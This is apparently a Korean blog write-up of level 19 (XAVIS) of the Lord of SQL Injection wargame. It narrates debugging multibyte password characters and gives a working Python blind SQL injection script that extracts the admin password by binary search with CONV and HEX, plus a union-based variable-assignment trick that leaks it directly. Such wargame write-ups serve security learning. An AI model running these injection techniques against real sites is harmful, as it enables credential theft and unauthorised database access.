Dork's port

LOS 19번 XAVIS 본문

Lord Of Sql injection

LOS 19번 XAVIS

Dork94 2019. 2. 8. 18:04

기존 블라인드 인젝션 코드를 실행 시켜보니 모든 경우에서 참이 리턴되는데, 정상적인 코드인데 불구하고 이러는 것을 보면


왠지 패스워드가  ASCII가 아닌 utf8 등등일 것 같은데...


삽질중.


CHAR_LENGTH 쓰려니 언더바 필터걸리네


생각을 달리해서 CHAR 함수를 이용해서 힌트를 얻고자 했다.


ASCII를 제외한 유니코드 등을 이용하면 CHAR 함수 사용시 1바이트가 리턴되는 것이아닌 캐릭터셋에 맞는 바이트가 리턴될것이라고 생각 (utf8이던 ASCII이던 CHAR함수가 1바이트씩 읽는 함수라면 그냥 기존 범위를 0x20 - 0x7f가 아닌 0x00 - 0xff로 해서 비교하면 되니 그것도 그것대로 작동할 것이라고 생각했으나, 정상적으로 동작하지 않는 것 같아 위와같이 유추 하였음)


따라서 해보니까 아래와 같이 한 글자에 4바이트를 잡아먹네...




그리고 아스키가 비밀번호 일때 값을 봤다.




역시 그냥 아스키는 아닌 것 같다. 


삽질을 좀 하다가 mysql db에 한글 사용자를 추가하고 함수를 써서 테스트를 해봤더니 아래와 같이 나오는 것으로 봐서는 ASCII가 아닌 다른 인코딩 방식이 거의 확실!




유니코드의 값을 알아오기위해서 웹에서 많은 삽질을 했는데, 그중 하나가 HEX함수이다.


삽질을 어느정도 하다가 결과가 이상해서 포스트 해본다! 


이유가 있을 것같은데 뭐지..



그래서 어찌 저찌하다가 CONV를 써서 값비교에는 성공한 것 같다! 


코드를 짜봐야지




코드를 짜고 돌려보니 결과는 성공적이였다. 마찬가지로 코드는 이전에 썼던 코드를 대부분 reuse하고, 쿼리문 및 길이체크 하는 로직과 Byte에 대한 최댓값을 바꿔주었다. 


아래 코드가 주요 변경사항이다.



def get_length(pwning_url, field, add_comment, login_cookies):

    size_of_char = 1
    length = 1

    print('Trying to get size of each CHAR by LENGTH, LEFT')
    while True:
        url = pwning_url + ' LENGTH(LEFT({0},1)) > {1} {2} '.format(field, size_of_char, '%23' if add_comment else '')
        res = requests.get(url, cookies=login_cookies)
        soup = BeautifulSoup(res.text, 'html.parser')
        h2s = soup.find_all('h2')

        if not h2s:
            break

        size_of_char += 1
    print('Size of each CHAR is {0}'.format(size_of_char))

    while True:
        print('Trying to get length of {0} by length {1}'.format(field, length))
        url = pwning_url + ' LENGTH({0}) > {1} {2} '.format(field, length, '%23' if add_comment else '')

        # remove white space
        url = url.replace(' ', '')
        res = requests.get(url, cookies=login_cookies)

        soup = BeautifulSoup(res.text, 'html.parser')
        h2s = soup.find_all('h2')

        if not h2s:
            return int(length / size_of_char), size_of_char

        length += 1


def do_blind_inject_divide(pwning_url, field, add_comment, login_cookies):

    pw = str()
    length, size_of_char = get_length(pwning_url, field, add_comment,login_cookies)
    idx = 1
    print('Success to get length {0} is {1} '.format(field, length))
    while idx <= length:
        print('Trying to get value index[{0}]'.format(idx))
        min_ascii = 0
        max_ascii = (2 ** (size_of_char * 8)) - 1  # To get maximum value of byte

        while True:
            # password must compare with int in mysql 'a' = 'A' is true
            url = pwning_url + ' CONV(HEX(RIGHT(LEFT({0},{1}),1)), 16 , 10) > {2} {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else '')
            print( 'CONV(RIGHT(LEFT({0},{1}),1), 16 , 10) > {2} {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else ''))
            # remove white space
            # url = url.replace(' ', '')

            res = requests.get(url, cookies=login_cookies)
            soup = BeautifulSoup(res.text, 'html.parser')
            h2s = soup.find_all('h2')
            print(h2s)
            if max_ascii == int((min_ascii + max_ascii) / 2) or min_ascii == int((min_ascii + max_ascii) / 2) :
                if not h2s:
                    pw += chr(int((min_ascii + max_ascii) / 2))
                if h2s:
                    pw += chr(int((min_ascii + max_ascii) / 2 + 1))
                break

            # if false
            if not h2s:
                max_ascii = int((min_ascii + max_ascii) / 2)
            else:
                min_ascii = int((min_ascii + max_ascii) / 2)
        idx += 1

    parsed_url = urlparse(pwning_url)
    origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url)
    print('password is {0}'.format(pw))
    res = requests.get(origin_url, params={field: pw}, cookies=login_cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    h2s = soup.find_all('h2')
    if not h2s:
        print('Failed to clear! Plz check logic')
    else:
        for h2 in h2s:
            if h2.find('Clear') != -1:
                print('Success to clear this stage!')
                break



패스워드가 제대로 나올때 쾌감! 



처음엔 ASCII로 비교하고 안돼서 HEX로 비교했는데 왜 둘다 안되는건지 의문..


ASCII 함수의 경우 아래와 같이 우분투에 설치한 Mysql에서는 정상적으로 동작하는 것을 볼 수 있는데,



아래처럼 실제로 확인해보면 값이 0이 리턴되는 것을 알 수 있다. 버전에 따라 다른가..?




이제 다른분들 코드와 비교하면서 어떻게 비교하셨는지 봐야겠따 :) 재미있는 문제! ( 다른 분들은 ord를 이용해서 풀었는데 Mysql Document를 제대로 안 읽어서 삽질을 엄청 많이 했네..) 


문제를 풀고 나서 느낀 생각은 이게 실전이였다면 ASCII나 HEX로 조금 삽질해보고 안되는구나.. 하고 넘어갔을 법한 문제인데, 정답이 있다는 것을 확실히 알고 있는 상황에서 끝까지 잡고 있으니까 답은 결국 나오더라. 


실전에서도 답은 있다라는 생각을 가지는게 좋을 듯 :) 



  #Extra Solution 




다른사람의 풀이를 찾아 헤매던 중 재미있는 풀이법이 있어 이해하고 테스트해봤다.


우선중요한 개념은 sql내의 변수라는 개념과 변수에 값을 대입하는 수식 ":="이다! 


아래 사진을 보자!

아래처럼 @a의 변수에 ":="로 값을 넣어준다 이때 값은 d0rk table내의 pw이다! 


따라서 저렇게 값이 들어간다.


그리고 변수를 선언해서 값을 대입하는 과정자체가 False로 처리된다!(이후의 SQL injection 쿼리 작성시 필요한 개념인 것 같다 :) 




그리고 아래처럼 출력을 해보면 @a변수에 pw가 들어간 것을 볼 수 있다(이때 마지막 값만 들어가는 것 같다).




따라서 아래와 같이 쿼리문을 작성하면 바로 패스워드를 알 수 있구나! 


해석을해보면 select @a:=pw where id = 'admin' 은 아이디가 admin인 pw을 가져와서 변수 a에 넣으라는 것이다. 위에서 보았듯 이 쿼리문 자체는 false 이므로


where id='admin' and pw='' or (select @a:=pw where id = 'admin')은 false가 된다. 


따라서 아무런 값도 리턴되지 않으며, 그 후 union을 이용해 방금 값을 넣은 변수를 출력해주게 되면 마지막 admin의 pw가 id로 retrun이 될 것이다! 





그리고 아래 코드에서 id를 받아와서 출력해주는 php 코드에서 return 값을 출력해주므로 우리는 admin의 pw를 알 수 있는 것이다 :)


재밌는 풀이법! 


가장 시간을 많이쓴 애증의 문제인것 같구나..


'Lord Of Sql injection' 카테고리의 다른 글

LOS 20번 DRAGON  (2) 2019.02.14
LOS 18번 NIGHTMARE  (0) 2019.02.08
LOS 17번 SUCCUBUS  (0) 2019.01.12
LOS 16번 ZOMEBIE_ASSASSINE  (0) 2019.01.12
LOS 15번 ASSASSIN  (0) 2019.01.12
Comments